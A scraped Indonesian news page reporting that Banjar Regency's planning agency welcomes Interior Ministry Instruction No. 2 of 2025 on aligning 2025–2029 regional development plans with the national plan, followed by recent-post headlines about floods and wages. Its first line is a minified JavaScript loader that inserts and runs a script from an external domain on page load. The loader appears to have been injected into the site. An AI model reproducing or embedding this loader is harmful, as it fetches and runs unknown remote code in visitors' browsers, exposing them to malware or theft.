(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bappedalitbang Banjar

Bappedalitbang Banjar Sambut Baik Inmendagri No 2 Tahun 2025


KANALKALIMANTAN.COM, MARTAPURA – Direktur Jenderal Bina Pembangunan Daerah, Restuardy, menyatakan Kementerian Dalam Negeri (Kemendagri) menegaskan pentingnya sinkronisasi perencanaan pembangunan antara pusat dan daerah guna mencapai target pembangunan nasional yang lebih terarah dan berkelanjutan.

Hal ini disampaikannya dalam rapat koordinasi nasional yang digelar secara daring melalui Zoom Meeting pada Kamis (10/4/2025) siang.

Restuardy menjelaskan bahwa Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 2 Tahun 2025 yang baru saja diterbitkan, menjadi pedoman utama bagi pemerintah daerah dalam menyusun Rencana Pembangunan Jangka Menengah Daerah (RPJMD) dan Rencana Strategis Perangkat Daerah (Renstra PD) tahun 2025–2029.

“Salah satu acuan penyusunan Inmendagri ini adalah RPJMN 2025–2029 yang baru ditetapkan Februari lalu melalui Perpres Nomor 12 Tahun 2025.

Maka seluruh daerah harus menyesuaikan muatan dalam dokumen perencanaan mereka,” ujar Restuardy.

Baca juga: Berharap Kuota Haji di Kota Banjarbaru Bisa Capai 200 Orang

Rapat tersebut turut dihadiri oleh Sekretaris Daerah, Kepala Bappeda/Bappedalitbang, Inspektur Daerah, Sekretaris DPRD, serta pejabat bidang perencanaan dari seluruh provinsi dan kabupaten/kota di Indonesia salah satunya Bappedalitbang Kabupaten Banjar.

Restuardy menekankan bahwa perencanaan pembangunan ke depan harus berbasis data yang akurat dan berorientasi pada hasil yang nyata di lapangan.

“Penguatan peran perangkat daerah menjadi kunci dalam menyusun Renstra yang tidak hanya administratif, tapi benar-benar mampu menjawab kebutuhan masyarakat,” tambah dia.

Baca juga: Belanja Bahagia, PLN Tebar Senyum Berkah untuk Anak Yatim

Dia juga menyebut bahwa dokumen RPJMD kali ini harus mulai mengakomodasi program hingga tahun 2030 untuk mengantisipasi masa transisi ke RPJMD berikutnya, khususnya saat penyusunan Rencana Kerja Pemerintah Daerah (RKPD) tahun tersebut.

Kepala Bappedalitbang Kabupaten Banjar, Nashrullah Shadiq, yang turut hadir dalam pertemuan tersebut, menyambut baik arahan dari Kemendagri.

“Kita menyambut positif terbitnya Inmendagri ini. Kabupaten Banjar akan segera menyesuaikan muatan RPJMD agar sejalan dengan RPJMN 2025–2029,” katanya.

Baca juga: Kepala BIN Resmikan Mako BINDA Kalsel di Banjarbaru

Menurut dia, koordinasi lintas perangkat daerah akan segera kami lakukan agar dokumen perencanaan benar-benar kuat, terukur, dan berdampak langsung ke masyarakat.

Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 2 Tahun 2025 diterbitkan sebagai pedoman teknis penyusunan RPJMD dan Renstra PD di seluruh daerah.

Instruksi ini memastikan dokumen perencanaan daerah berjalan selaras dengan kebijakan nasional, baik dari segi arah, prioritas, maupun capaian pembangunan. (kanalkalimantan.com/bappedalitbang/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

2 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

2 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

6 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

6 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

7 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

7 jam ago

This website uses cookies.